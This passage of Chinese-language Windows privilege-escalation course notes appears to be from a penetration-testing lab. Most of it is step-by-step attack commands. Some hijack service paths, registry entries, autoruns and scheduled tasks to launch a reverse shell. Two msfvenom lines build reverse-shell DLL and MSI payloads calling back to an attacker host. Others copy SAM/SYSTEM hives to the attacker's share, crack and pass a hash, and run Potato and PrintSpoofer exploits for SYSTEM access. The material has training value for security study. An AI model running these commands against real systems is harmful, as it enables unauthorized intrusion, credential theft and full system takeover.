需注意:Kernel 漏洞利用通常稳定性较差,可能是 “一次性” 的(one-shot),甚至可能导致系统崩溃(system crash)。

相关工具

  • Windows Exploit Suggester:GitHub - bitsadmin/wesng: Windows Exploit Suggester - Next Generation

  • 预编译 Kernel 漏洞利用(Precompiled Kernel Exploits):GitHub - SecWiki/windows-kernel-exploits: windows-kernel-exploits Windows平台提权漏洞集合

  • Watson:GitHub - rasta-mouse/Watson: Enumerate missing KBs and suggest exploits for useful Privilege Escalation vulnerabilities

权限提升步骤(注:以下步骤适用于 Windows 7)

  1. 提取

    systeminfo

    命令的输出:

    cmd

    > systeminfo > systeminfo.txt
  2. 运行 wesng 查找潜在漏洞利用:

    bash

    # python wes.py systeminfo.txt -i 'Elevation of Privilege' --exploits-only | less
  3. 交叉验证结果与预编译漏洞利用:GitHub - SecWiki/windows-kernel-exploits: windows-kernel-exploits Windows平台提权漏洞集合

  1. 下载针对 CVE-2018-8210 的预编译漏洞利用程序到 Windows 虚拟机: windows-kernel-exploits/CVE-2018-8120/x64.exe at master · SecWiki/windows-kernel-exploits · GitHub

  2. 在 Kali 上启动监听器(listener),运行漏洞利用程序,并指定反向 shell 可执行文件(该 shell 将以 SYSTEM 权限运行):

    cmd

    > .\x64.exe C:\PrivEsc\reverse.exe

Service Exploits(服务漏洞利用)

服务(Services)

服务是在后台运行的程序,可接收输入或执行定期任务。 若服务以 SYSTEM 权限运行且存在配置错误,利用这些配置错误可能获取 SYSTEM 权限的命令执行(command execution)。

服务相关命令

  • 查询服务配置:

    cmd

    > sc.exe qc <服务名>
  • 查询服务当前状态:

    cmd

    > sc.exe query <服务名>
  • 修改服务配置选项:

    cmd

    > sc.exe config <服务名> <选项>= <值>
  • 启动 / 停止服务:

    cmd

    > net start/stop <服务名>

服务配置错误类型

  1. 不安全的服务属性(Insecure Service Properties)

  2. 未加引号的服务路径(Unquoted Service Path)

  3. 薄弱的注册表权限(Weak Registry Permissions)

  4. 不安全的服务可执行文件(Insecure Service Executables)

  5. DLL 劫持(DLL Hijacking)

不安全的服务权限(Insecure Service Permissions)

每个服务都有一个 ACL,用于定义特定于服务的权限。

  • 部分权限无风险(如SERVICE_QUERY_CONFIGSERVICE_QUERY_STATUS

  • 部分权限有利用价值(如SERVICE_STOPSERVICE_START

  • 部分权限风险极高(如SERVICE_CHANGE_CONFIGSERVICE_ALL_ACCESS

若你的用户拥有修改某服务配置的权限,且该服务以 SYSTEM 权限运行,则可将服务使用的可执行文件替换为自己的文件。

注意陷阱(Potential Rabbit Hole):若你能修改服务配置,但无法停止 / 启动服务,则无法实现权限提升!

权限提升步骤

  1. 运行 winPEAS 检测服务配置错误:

    cmd

    > .\winPEASany.exe quiet servicesinfo
  2. 记录可修改的 “daclsvc” 服务

  3. 使用 accesschk.exe 确认权限:

    cmd

    > .\accesschk.exe /accepteula -uwcqv user daclsvc
  4. 查询该服务的当前配置:

    cmd

    > sc qc daclsvc

  1. 查询该服务的当前状态:

    cmd

    > sc query daclsvc
  2. 重新配置服务,使其使用你的反向 shell 可执行文件:

    cmd

    > sc config daclsvc binpath= "\"C:\PrivEsc\reverse.exe\""
  3. 在 Kali 上启动监听器,然后启动服务触发漏洞利用:

    cmd

    > net start daclsvc

未加引号的服务路径(Unquoted Service Path)

在 Windows 中,可执行文件运行时可省略扩展名(如whoami.exe可直接通过whoami运行)。 部分可执行文件需要参数(arguments),参数以空格分隔(如someprog.exe arg1 arg2 arg3…)。

这种特性会导致:当使用未加引号且包含空格的绝对路径时,路径解析会产生歧义。

以以下未加引号的路径为例:C:\Program Files\Some Dir\SomeProgram.exe

  • 对用户而言,显然是运行SomeProgram.exe

  • 对 Windows 而言,可能将C:\Program视为可执行文件,将 “Files\Some” 和 “Dir\SomeProgram.exe” 视为参数

Windows 会按顺序检查所有可能的解析结果。若你能向 Windows 解析顺序中优先于实际可执行文件的路径写入文件,即可欺骗服务执行你的文件。

权限提升步骤

  1. 运行 winPEAS 检测服务配置错误:

    cmd

    > .\winPEASany.exe quiet servicesinfo
  2. 记录 “unquotedsvc” 服务 —— 其路径未加引号且包含空格: C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe

  3. 使用

    sc

    命令确认:

    cmd

    > sc qc unquotedsvc

  1. 使用 accesschk.exe 检查写入权限:

    cmd

    > .\accesschk.exe /accepteula -uwdq C:\
    > .\accesschk.exe /accepteula -uwdq "C:\Program Files\"
    > .\accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service\"
  2. 复制反向 shell 可执行文件,并按需求重命名:

    cmd

    > copy C:\PrivEsc\reverse.exe "C:\Program Files\Unquoted Path Service\Common.exe"
  3. 在 Kali 上启动监听器,然后启动服务触发漏洞利用:

    cmd

    > net start unquotedsvc

薄弱的注册表权限(Weak Registry Permissions)

Windows 注册表(Registry)中存储了每个服务的条目。由于注册表条目可配置 ACL,若 ACL 存在配置错误,即使无法直接修改服务,也可能修改服务的配置。

权限提升步骤

  1. 运行 winPEAS 检测服务配置错误:

    cmd

    > .\winPEASany.exe quiet servicesinfo
  2. 记录 “regsvc” 服务存在薄弱的注册表条目,使用 PowerShell 确认:

    powershell

    PS> Get-Acl HKLM:\System\CurrentControlSet\Services\regsvc | Format-List
  3. 也可使用 accesschk.exe 确认:

    cmd

    > .\accesschk.exe /accepteula -uvwqk HKLM\System\CurrentControlSet\Services\regsvc

  1. 覆盖

    ImagePath

    注册表项,使其指向你的反向 shell 可执行文件:

    cmd

    > reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d C:\PrivEsc\reverse.exe /f
  2. 在 Kali 上启动监听器,然后启动服务触发漏洞利用:

    cmd

    > net start regsvc

不安全的服务可执行文件(Insecure Service Executables)

若原始服务可执行文件可被你的用户修改,只需将其替换为反向 shell 可执行文件即可。

注意:若在真实系统中利用此漏洞,需先备份原始可执行文件!

权限提升步骤

  1. 运行 winPEAS 检测服务配置错误:

    cmd

    > .\winPEASany.exe quiet servicesinfo
  2. 记录 “filepermsvc” 服务的可执行文件对所有人(everyone)可写,使用 accesschk.exe 确认:

    cmd

    > .\accesschk.exe /accepteula -quvw "C:\Program Files\File Permissions Service\filepermservice.exe"
  3. 备份原始服务可执行文件:

    cmd

    > copy "C:\Program Files\File Permissions Service\filepermservice.exe" C:\Temp

  1. 复制反向 shell 可执行文件,覆盖原始服务可执行文件:

    cmd

    > copy /Y C:\PrivEsc\reverse.exe "C:\Program Files\File Permissions Service\filepermservice.exe"
  2. 在 Kali 上启动监听器,然后启动服务触发漏洞利用:

    cmd

    > net start filepermsvc

DLL 劫持(DLL Hijacking)

服务通常会尝试从动态链接库(DLL,Dynamic-Link Library)加载功能。DLL 提供的功能会以与加载它的服务相同的权限运行。

  • 若 DLL 通过绝对路径加载,且该 DLL 可被你的用户修改,则可能实现权限提升

  • 更常见的可利用配置错误:系统中缺少某 DLL,且你的用户对 Windows 搜索 DLL 的 PATH 路径中的某个目录有写入权限

缺点:初步检测存在漏洞的服务难度较大,整个过程通常需要手动操作。

  1. 使用 winPEAS 枚举非 Windows 服务:

    cmd

    > .\winPEASany.exe quiet servicesinfo
  2. 记录

    C:\Temp

    目录可写且在 PATH 中,先枚举你的用户可停止 / 启动的服务:

    cmd

    > .\accesschk.exe /accepteula -uvqc user dllsvc
  3. “dllsvc” 服务存在 DLL 劫持漏洞,根据 winPEAS 输出,该服务运行

    dllhijackservice.exe

    可执行文件,使用

    sc

    命令手动确认:

    cmd

    > sc qc dllsvc

  1. 以管理员权限运行 Procmon64.exe,按Ctrl+L打开 “Filter”(筛选)菜单

  2. 添加筛选条件:“Process Name”(进程名)匹配dllhijackservice.exe

  3. 在主界面中,取消选中 “Registry”(注册表)和 “Network”(网络)活动

  1. 启动服务:

    cmd

    > net start dllsvc
  2. 返回 Procmon,查看是否出现多个与hijackme.dll相关的 “NAME NOT FOUND”(未找到文件)错误

  3. 观察到 Windows 会尝试在C:\Temp目录中查找该 DLL(此前已确认该目录对当前用户可写)

  1. 在 Kali 上生成名为

    hijackme.dll

    的反向 shell DLL:

    bash

    # msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.11 LPORT=53 -f dll -o hijackme.dll
  2. 将该 DLL 复制到 Windows 虚拟机的

    C:\Temp

    目录,在 Kali 上启动监听器,然后停止 / 启动服务触发漏洞利用:

    cmd

    > net stop dllsvc
    > net start dllsvc

Registry(注册表)相关权限提升

AutoRuns(自动运行项)

Windows 可配置为在启动时以高权限(elevated privileges)运行命令,这些 “AutoRuns” 项在注册表中配置。

若你能修改某 AutoRun 可执行文件,且能重启系统(或等待系统重启),则可实现权限提升。

权限提升步骤

  1. 使用 winPEAS 检测可写的 AutoRun 可执行文件:

    cmd

    > .\winPEASany.exe quiet applicationsinfo
  2. 也可手动枚举 AutoRun 可执行文件:

    cmd

    > reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

    然后使用 accesschk.exe 验证每个可执行文件的权限:

    cmd

    > .\accesschk.exe /accepteula -wvu "C:\Program Files\Autorun Program\program.exe"

  1. 记录

    C:\Program Files\Autorun Program\program.exe

    对所有人(Everyone)可写,先备份原始文件:

    cmd

    > copy "C:\Program Files\Autorun Program\program.exe" C:\Temp
  2. 复制反向 shell 可执行文件,覆盖该 AutoRun 可执行文件:

    cmd

    > copy /Y C:\PrivEsc\reverse.exe "C:\Program Files\Autorun Program\program.exe"
  3. 在 Kali 上启动监听器,然后重启 Windows 虚拟机触发漏洞利用。

    注:在 Windows 10 中,该漏洞利用会以最后登录用户的权限运行,因此需先注销 “user” 账户,再以 “admin” 账户登录。

AlwaysInstallElevated

MSI 文件是用于安装应用程序的包文件,默认以尝试安装它的用户权限运行。 Windows 允许这些安装程序(installers)以高权限(即 admin 权限)运行。若启用此配置,可生成包含反向 shell 的恶意 MSI 文件实现权限提升。

实现此漏洞利用的前提:需同时启用两个注册表设置。

  • 本地计算机(local machine)的AlwaysInstallElevated值需设为 1,路径:HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer

  • 当前用户(current user)的AlwaysInstallElevated值需设为 1,路径:HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer

若任一设置缺失或禁用,漏洞利用均无法成功。

权限提升步骤

  1. 使用 winPEAS 检测这两个注册表值是否已设置:

    cmd

    > .\winPEASany.exe quiet windowscreds
  2. 也可手动验证:

    cmd

    > reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
    > reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

  1. 使用 msfvenom 生成 MSI 格式的反向 shell,保存为

    .msi

    扩展名:

    bash

    # msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.11 LPORT=53 -f msi -o reverse.msi
  2. reverse.msi

    复制到 Windows 虚拟机,在 Kali 上启动监听器,运行安装程序触发漏洞利用:

    cmd

    > msiexec /quiet /qn /i C:\PrivEsc\reverse.msi

密码(Passwords)相关权限提升

密码的作用?

是的,密码是权限提升的重要突破口。即使是管理员也可能重复使用密码,或在系统中留下可读取的密码。 Windows 在这方面尤其脆弱,因为其部分功能会以不安全的方式存储密码。

注册表中的密码

许多程序会在 Windows 注册表中存储配置选项,Windows 系统本身有时也会在注册表中以明文(plaintext)形式存储密码。 因此,搜索注册表中的密码至关重要。

搜索注册表中的密码

以下命令用于搜索注册表中包含 “password” 的键(keys)和值(values):

cmd

> reg query HKLM /f password /t REG_SZ /s
> reg query HKCU /f password /t REG_SZ /s

该命令通常会生成大量结果,因此更高效的方式是直接查看已知的密码存储位置。

权限提升步骤

  1. 使用 winPEAS 检测常见的密码存储位置:

    cmd

    > .\winPEASany.exe quiet filesinfo userinfo

    注:最后的检查项可能需要较长时间完成

  2. 从结果中提取 admin 用户的自动登录凭据(AutoLogon credentials)和 Putty 会话凭据(Putty session credentials):用户名 admin,密码 password123

  1. 手动验证这些凭据:

    cmd

    > reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\winlogon"
    > reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s
  2. 在 Kali 上使用

    winexe

    命令,通过这些凭据生成 shell:

    bash

    # winexe -U 'admin%password123' //192.168.1.22 cmd.exe

保存的凭据(Saved Creds)

Windows 的runas命令允许用户以其他用户的权限运行命令,通常需要知道目标用户的密码。 但 Windows 也允许用户将凭据保存到系统中,利用这些保存的凭据可绕过密码验证。

权限提升步骤

  1. 使用 winPEAS 检测保存的凭据:

    cmd

    > .\winPEASany.exe quiet cmd windowscreds
  2. 确认存在 admin 用户的保存凭据

  3. 手动使用以下命令验证:

    cmd

    > cmdkey /list

  1. 若未找到保存的凭据,运行以下脚本刷新凭据:

    cmd

    > C:\PrivEsc\savecred.bat
  2. 利用保存的凭据以 admin 用户权限运行任意命令:在 Kali 上启动监听器,运行反向 shell 可执行文件:

    cmd

    > runas /savecred /user:admin C:\PrivEsc\reverse.exe

配置文件(Configuration Files)

部分管理员会在系统中留下包含密码的配置文件,Unattend.xml就是典型例子 —— 该文件用于实现 Windows 系统的自动化安装。

搜索配置文件

  • 在当前目录下递归搜索名称包含 “pass” 或扩展名为 “.config” 的文件:

    cmd

    > dir /s *pass* == *.config
  • 在当前目录下递归搜索包含 “password” 且扩展名为

    .xml

    .ini

    .txt

    的文件:

    cmd

    > findstr /si password *.xml *.ini *.txt

权限提升步骤

  1. 使用 winPEAS 搜索可能包含凭据的常见文件:

    cmd

    > .\winPEASany.exe quiet cmd searchfast filesinfo
  2. 找到

    Unattend.xml

    文件,查看其内容:

    cmd

    > type C:\Windows\Panther\Unattend.xml

  1. 从文件中提取 admin 用户的密码(Base64 编码):cGFzc3dvcmQxMjM=

  2. 在 Kali 上解码该密码:

    bash

    # echo "cGFzc3dvcmQxMjM=" | base64 -d
  3. 再次使用winexe命令,以 admin 用户身份生成 shell。

SAM 文件

Windows 将密码哈希(password hashes)存储在安全账户管理器(SAM,Security Account Manager)中。 这些哈希使用一个密钥加密,该密钥存储在名为SYSTEM的文件中。 若你能读取 SAM 和 SYSTEM 文件,即可提取密码哈希。

SAM/SYSTEM 文件位置

  • SAM 和 SYSTEM 文件位于C:\Windows\System32\config目录

  • Windows 运行时,这些文件处于锁定状态

  • 文件备份可能存在于C:\Windows\RepairC:\Windows\System32\config\RegBack目录

权限提升步骤

  1. C:\Windows\Repair目录中找到 SAM 和 SYSTEM 文件的备份,确认当前用户可读取

  2. 将文件复制到 Kali:

    cmd

    > copy C:\Windows\Repair\SAM \\192.168.1.11\tools\
    > copy C:\Windows\Repair\SYSTEM \\192.168.1.11\tools\

  1. 下载最新版本的 creddump 工具集:

    bash

    # git clone https://github.com/Neohapsis/creddump7.git
  2. 运行

    pwdump

    工具,从 SAM 和 SYSTEM 文件中提取哈希:

    bash

    # python2 creddump7/pwdump.py SYSTEM SAM
  3. 使用 hashcat 破解 admin 用户的哈希:

    bash

    # hashcat -m 1000 --force a9fdfa038c4b75ebc76dc855dd74f0da /usr/share/wordlists/rockyou.txt

哈希传递(Passing the Hash)

Windows 的多个服务支持使用哈希(而非密码)进行身份验证。 可使用修改版的winexe工具(pth-winexe),通过 admin 用户的哈希生成命令提示符。

权限提升步骤

  1. 从之前的步骤中提取 admin 用户的哈希

  2. 使用该哈希通过

    pth-winexe

    生成命令提示符:

    bash

    # pth-winexe -U 'admin%aad3b435b51404eeaad3b435b51404ee:a9fdfa038c4b75ebc76dc855dd74f0da' //192.168.1.22 cmd.exe
  3. 使用该哈希通过

    pth-winexe

    生成 SYSTEM 级别的命令提示符:

    bash

    # pth-winexe --system -U 'admin%aad3b435b51404eeaad3b435b51404ee:a9fdfa038c4b75ebc76dc855dd74f0da' //192.168.1.22 cmd.exe

计划任务(Scheduled Tasks)相关权限提升

计划任务(Scheduled Tasks)

Windows 可配置计划任务,使其在特定时间、定期(如每 5 分钟)或由特定事件(如用户登录)触发时运行。 计划任务通常以创建者的权限运行,但管理员可配置任务以其他用户(包括 SYSTEM)的权限运行。

计划任务相关命令

低权限用户账户无法轻松枚举其他用户的自定义计划任务。

  • 列出当前用户可见的所有计划任务:

    cmd

    > schtasks /query /fo LIST /v
  • 在 PowerShell 中筛选非 Microsoft 默认任务:

    powershell

    PS> Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State

通常需依赖其他线索(如找到指示计划任务运行的脚本或日志文件)进行枚举。

权限提升步骤

  1. C:\DevTools

    目录中找到 PowerShell 脚本

    CleanUp.ps1

    ,查看其内容:

    cmd

    > type C:\DevTools\CleanUp.ps1
  2. 确认该脚本每分钟以 SYSTEM 用户权限运行,使用 accesschk.exe 检查当前用户对该脚本的权限:

    cmd

    > C:\PrivEsc\accesschk.exe /accepteula -quvw user C:\DevTools\CleanUp.ps1

    (确认当前用户有写入权限)

  1. 备份该脚本:

    cmd

    > copy C:\DevTools\CleanUp.ps1 C:\Temp\
  2. 在 Kali 上启动监听器

  3. 使用

    echo

    命令,将反向 shell 可执行文件的调用追加到脚本末尾:

    cmd

    > echo C:\PrivEsc\reverse.exe >> C:\DevTools\CleanUp.ps1
  4. 等待计划任务运行(每分钟运行一次),完成漏洞利用。

不安全的 GUI 应用(Insecure GUI Apps,Citrix 方法)

不安全的 GUI 应用

在部分(较旧的)Windows 版本中,用户可能被授予以管理员权限运行特定 GUI 应用的权限。 通常有多种方法可从 GUI 应用中生成命令提示符(包括使用 Windows 原生功能)。 由于父进程(GUI 应用)以管理员权限运行,生成的命令提示符也会拥有管理员权限。

我将此方法称为 “Citrix 方法”,因为它使用了许多与突破 Citrix 环境相同的技术。

权限提升步骤

  1. 使用 “user” 账户通过 GUI 登录 Windows 虚拟机

  2. 双击桌面的 “AdminPaint” 快捷方式

  3. 打开命令提示符,运行以下命令:

    cmd

    > tasklist /V | findstr mspaint.exe

    (确认

    mspaint.exe

    以管理员权限运行)

  1. 在 Paint 中,点击 “File”(文件)→“Open”(打开)

  2. 在导航输入框中,将内容替换为:file://c:/windows/system32/cmd.exe

  3. 按 Enter 键,会打开一个以管理员权限运行的命令提示符。

启动应用(Startup Apps)相关权限提升

启动应用

每个用户可通过将快捷方式放入特定目录,定义登录时自动启动的应用。 Windows 还存在一个面向所有用户的启动目录: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp

若你能在该目录中创建文件,可放入反向 shell 可执行文件,当管理员登录时实现权限提升。

需注意:该目录需使用快捷方式文件(.lnk)。可使用以下 VBScript 创建快捷方式文件:

vbscript

Set oWS = WScript.CreateObject("WScript.Shell")
sLinkFile = "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\reverse.lnk"
Set oLink = oWS.CreateShortcut(sLinkFile)
oLink.TargetPath = "C:\PrivEsc\reverse.exe"
oLink.Save

权限提升步骤

  1. 使用 accesschk.exe 检查 StartUp 目录的权限:

    cmd

    > .\accesschk.exe /accepteula -d "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp"
  2. 确认BUILTIN\Users组对该目录有写入权限

  1. 创建CreateShortcut.vbs文件,写入上述 VBScript 代码(根据实际路径调整)

  2. 使用

    cscript

    运行该脚本:

    cmd

    > cscript CreateShortcut.vbs
  3. 在 Kali 上启动监听器,然后以 admin 用户身份登录,触发漏洞利用。

已安装应用(Installed Applications)相关权限提升

已安装应用

大多数与已安装应用相关的权限提升,都基于前文已涵盖的配置错误(如不安全的可执行文件、服务配置错误等)。 但部分权限提升源于缓冲区溢出(buffer overflows)等漏洞,因此识别已安装应用及其版本、搜索相关漏洞仍很重要。

相关命令

  • 手动枚举所有运行中的程序:

    cmd

    > tasklist /v
  • 使用 Seatbelt 搜索非标准进程:

    cmd

    > .\seatbelt.exe NonstandardProcesses
  • 使用 winPEAS 枚举进程(注:

    procesinfo

    存在拼写错误):

    cmd

    > .\winPEASany.exe quiet procesinfo

利用 Exploit-DB 查找漏洞

找到目标进程后,尝试识别其版本(可运行可执行文件并添加/?-h参数,或查看Program Files目录中的配置文件 / 文本文件)。 通过 Exploit-DB 搜索对应的漏洞:部分漏洞会提供利用步骤,部分则需要编译并运行漏洞利用代码。

Hot Potato 攻击

Hot Potato 简介

Hot Potato 是一种结合欺骗攻击(spoofing attack)和 NTLM 中继攻击(NTLM relay attack)的攻击方法,用于获取 SYSTEM 权限。

该攻击欺骗 Windows,使其以 SYSTEM 用户身份向伪造的 HTTP 服务器发送 NTLM 身份验证请求,然后将 NTLM 凭据中继到 SMB 服务,实现命令执行。 该攻击适用于 Windows 7、Windows 8、Windows 10 早期版本及其对应的服务器版本。

权限提升步骤(注:以下步骤适用于 Windows 7)

  1. potato.exe漏洞利用程序复制到 Windows 系统

  2. 在 Kali 上启动监听器

  3. 运行漏洞利用程序:

    cmd

    > .\potato.exe -ip 192.168.1.33 -cmd "C:\PrivEsc\reverse.exe" -enable_httpserver true -enable_defender true -enable_spoof true -enable_exhaust true
  4. 等待 Windows Defender 更新(或手动触发更新)。

Token Impersonation(令牌伪造)相关权限提升

服务账户(Service Accounts)

课程开头简要介绍过服务账户:服务账户为运行服务而配置特定权限,且无法直接登录。 但服务账户存在多个安全问题,使其成为权限提升的突破口。

Rotten Potato

Rotten Potato 漏洞于 2016 年被发现:服务账户可拦截 SYSTEM 令牌(SYSTEM ticket),并利用该令牌伪造 SYSTEM 用户身份。

该漏洞利用的前提是:服务账户通常启用了SeImpersonatePrivilege权限。

SeImpersonatePrivilege 与 SeAssignPrimaryTokenPrivilege

服务账户通常配置有这两种权限:

  • 允许账户伪造其他用户的访问令牌(access tokens)(包括 SYSTEM 用户的令牌)

  • 任何拥有这两种权限的用户,均可运行本章节介绍的令牌伪造漏洞利用工具

Juicy Potato

Rotten Potato 的利用范围有限,而 Juicy Potato 的工作原理与 Rotten Potato 相同,但作者通过深入研究扩展了其利用场景。 下载链接:GitHub - ohpe/juicy-potato: A sugared version of RottenPotatoNG, with a bit of juice, i.e. another Local Privilege Escalation tool, from a Windows Service Accounts to NT AUTHORITY\SYSTEM.

权限提升步骤(注:以下步骤适用于 Windows 7)

  1. PSExec64.exeJuicyPotato.exe漏洞利用程序复制到 Windows 系统

  2. 在 Kali 上启动监听器

  3. 以管理员身份打开命令提示符,使用

    PSExec64.exe

    生成以 Local Service 账户身份运行的反向 shell:

    cmd

    > C:\PrivEsc\PSExec64.exe -i -u "nt authority\local service" C:\PrivEsc\reverse.exe

  1. 在 Kali 上启动另一个监听器

  2. 运行

    JuicyPotato

    漏洞利用程序,生成以 SYSTEM 权限运行的反向 shell:

    cmd

    > C:\PrivEsc\JuicyPotato.exe -l 1337 -p C:\PrivEsc\reverse.exe -t * -c {03ca98d6-ff5d49b8-abc6-03dd84127020}
  3. 若上述 CLSID({03ca…})无效,可参考以下列表或运行GetCLSID.ps1 PowerShell 脚本: juicy-potato/CLSID/README.md at master · ohpe/juicy-potato · GitHub

Rogue Potato

Rogue Potato 是 “Potato” 系列漏洞利用工具的最新版本:

  • GitHub 链接:GitHub - antonioCoco/RoguePotato: Another Windows Local Privilege Escalation from Service Account to System

  • 技术博客:No more JuicyPotato? Old story, welcome RoguePotato! – Decoder's Blog

  • 预编译漏洞利用程序:Releases · antonioCoco/RoguePotato · GitHub

权限提升步骤

  1. PSExec64.exeRoguePotato.exe漏洞利用程序复制到 Windows 系统

  2. 在 Kali 上设置

    socat

    转发器,将 Kali 的 135 端口转发到 Windows(IP:192.168.1.22)的 9999 端口:

    bash

    # sudo socat tcp-listen:135,reuseaddr,fork tcp:192.168.1.22:9999
  3. 在 Kali 上启动监听器

  1. 以管理员身份打开命令提示符,使用

    PSExec64.exe

    生成以 Local Service 账户身份运行的反向 shell:

    cmd

    > C:\PrivEsc\PSExec64.exe -i -u "nt authority\local service" C:\PrivEsc\reverse.exe
  2. 在 Kali 上启动另一个监听器

  3. 运行

    RoguePotato

    漏洞利用程序,生成以 SYSTEM 权限运行的反向 shell(192.168.1.11 为 Kali 的 IP):

    cmd

    > C:\PrivEsc\RoguePotato.exe -r 192.168.1.11 –l 9999 -e "C:\PrivEsc\reverse.exe"

PrintSpoofer

PrintSpoofer 是一款针对 Print Spooler 服务的漏洞利用工具:

  • GitHub 链接:GitHub - itm4n/PrintSpoofer: Abusing impersonation privileges through the "Printer Bug"

  • 技术博客:PrintSpoofer - Abusing Impersonation Privileges on Windows 10 and Server 2019 | itm4n's blog

权限提升步骤

  1. PSExec64.exePrintSpoofer.exe漏洞利用程序复制到 Windows 系统

  2. 在 Kali 上启动监听器

  3. 以管理员身份打开命令提示符,使用

    PSExec64.exe

    生成以 Local Service 账户身份运行的反向 shell:

    cmd

    > C:\PrivEsc\PSExec64.exe -i -u "nt authority\local service" C:\PrivEsc\reverse.exe

  1. 在 Kali 上启动另一个监听器

  2. 运行

    PrintSpoofer

    漏洞利用程序,生成以 SYSTEM 权限运行的反向 shell:

    cmd

    > C:\PrivEsc\PrintSpoofer.exe –i -c "C:\PrivEsc\reverse.exe"

端口转发(Port Forwarding)

端口转发的作用

有时在 Kali 上运行漏洞利用代码更便捷,但目标漏洞程序可能仅监听 Windows 的内部端口。 这种情况下,需将 Kali 的某个端口转发到 Windows 的内部端口,可使用plink.exe工具(来自 PuTTY 的开发团队)实现。

plink.exe 的使用

使用plink.exe进行端口转发的通用命令格式:

cmd

> plink.exe <用户名>@<KaliIP> -R <Kali端口>:<目标IP>:<目标端口>

注:<目标IP>通常为本地 IP(如 127.0.0.1)。plink.exe需要通过 SSH 连接到 Kali,然后利用 SSH 隧道实现端口转发。

权限提升步骤

  1. 首先验证能否通过

    winexe

    远程登录:

    bash

    # winexe -U 'admin%password123' //192.168.1.22 cmd.exe
  2. 以管理员身份打开命令提示符,重新启用防火墙:

    cmd

    > netsh advfirewall set allprofiles state on
  3. 确认此时winexe命令已无法成功登录

  1. plink.exe文件复制到 Windows 系统,然后停止 Kali 上的 SMB 服务器(若正在运行)

  2. 确保 Kali 的 SSH 服务器已启动且允许 root 登录:检查/etc/ssh/sshd_config文件中PermitRootLogin yes选项是否已取消注释,必要时重启 SSH 服务

  3. 在 Windows 上运行

    plink.exe

    ,将 Kali 的 445 端口转发到 Windows 的 445 端口:

    cmd

    > plink.exe root@192.168.1.11 -R 445:127.0.0.1:445
  4. 在 Kali 上修改

    winexe

    命令,将目标 IP 改为

    localhost

    (或 127.0.0.1),通过端口转发获取 shell:

    bash

    # winexe -U 'admin%password123' //localhost cmd.exe

getsystem(命名管道与令牌复制)

访问令牌(Access Tokens)

访问令牌是 Windows 中的特殊对象,用于存储用户的身份(identity)和权限(privileges),分为两种类型:

  • 主访问令牌(Primary Access Token):用户登录时创建,与当前用户会话绑定;用户启动新进程时,主访问令牌会被复制并附加到新进程

  • 模拟访问令牌(Impersonation Access Token):进程或线程需要临时以其他用户的安全上下文(security context)运行时创建

令牌复制(Token Duplication)

Windows 允许进程 / 线程复制其访问令牌,模拟访问令牌可通过此功能复制为主访问令牌。 若能注入到某个进程中,即可利用此功能复制该进程的访问令牌,并生成拥有相同权限的独立进程。

命名管道(Named Pipes)

你可能已熟悉 Windows 和 Linux 中的 “管道”(pipe)概念(如> systeminfo | findstr Windows)。 命名管道是管道概念的扩展:一个进程可创建命名管道,其他进程可打开该管道进行读写操作。 创建命名管道的进程可模拟连接到该管道的进程的安全上下文。

getsystem 简介

Metasploit 的 Meterpreter shell 中的getsystem命令具有近乎 “神话” 的地位 —— 只需运行此简单命令,权限通常就能提升到 SYSTEM user。

getsystem的实际工作原理是什么?

getsystem 的实现原理

getsystem命令的源代码可在以下链接查看: metasploit-payloads/c/meterpreter/source/extensions/priv at d672097e9989e0b4caecfad08ca9debc8e50bb0c · rapid7/metasploit-payloads · GitHub

需重点查看三个文件:elevate.cnamedpipe.ctokendup.c

getsystem通过三种技术实现 “获取 SYSTEM 权限”:

技术 1:命名管道模拟(In Memory/Admin)

  1. 创建由 Meterpreter 控制的命名管道

  2. 创建以 SYSTEM 权限运行的服务,该服务运行的命令直接与命名管道交互

  3. Meterpreter 模拟连接到管道的进程,获取拥有 SYSTEM 安全上下文的模拟访问令牌

  4. 将该访问令牌分配给后续所有 Meterpreter 线程,使线程以 SYSTEM 权限运行

技术 2:命名管道模拟(Dropper/Admin)

与 “命名管道模拟(In Memory/Admin)” 非常相似,唯一区别是:会将一个 DLL 写入磁盘,并创建以 SYSTEM 权限运行该 DLL 的服务,由该 DLL 连接到命名管道。

技术 3:令牌复制(In Memory/Admin)

  • 该技术需要SeDebugPrivilege权限

  • 查找以 SYSTEM 权限运行的服务,向其注入 DLL

  • 该 DLL 复制服务的访问令牌,并将其分配给 Meterpreter

  • 目前该技术仅支持 x86 架构

  • 这是唯一无需创建服务、完全在内存中运行的技术

总结(Summary)

  • getsystem是专为从本地管理员(local admin)提升到 SYSTEM 权限设计的工具

  • 命名管道技术需要本地管理员权限

  • 令牌复制技术仅需要SeDebugPrivilege权限,但仅支持 x86 架构

  • 在现代系统中,不应将getsystem视为从普通用户(user)提升到管理员(admin)的方法

用户权限(User Privileges)

用户权限简介

在 Windows 中,用户账户和组可被分配特定的 “权限”(privileges),这些权限授予用户执行特定操作的能力。 部分权限可用于将整体权限提升到 SYSTEM 级别。

相关详细文档:GitHub - hatRiot/token-priv: Token Privilege Research

列出当前用户的权限

使用whoami命令的/priv选项,可列出当前用户的权限:

cmd

> whoami /priv

注:“State”(状态)列中的 “disabled”(已禁用)无关紧要 —— 只要权限被列出,当前用户就拥有该权限。

SeImpersonatePrivilege

SeImpersonatePrivilege权限允许用户伪造其可获取的任何访问令牌。 若能获取 SYSTEM 进程的访问令牌,即可使用该令牌生成新进程。 前文介绍的 Juicy Potato 漏洞利用工具即利用此权限。

SeAssignPrimaryPrivilege

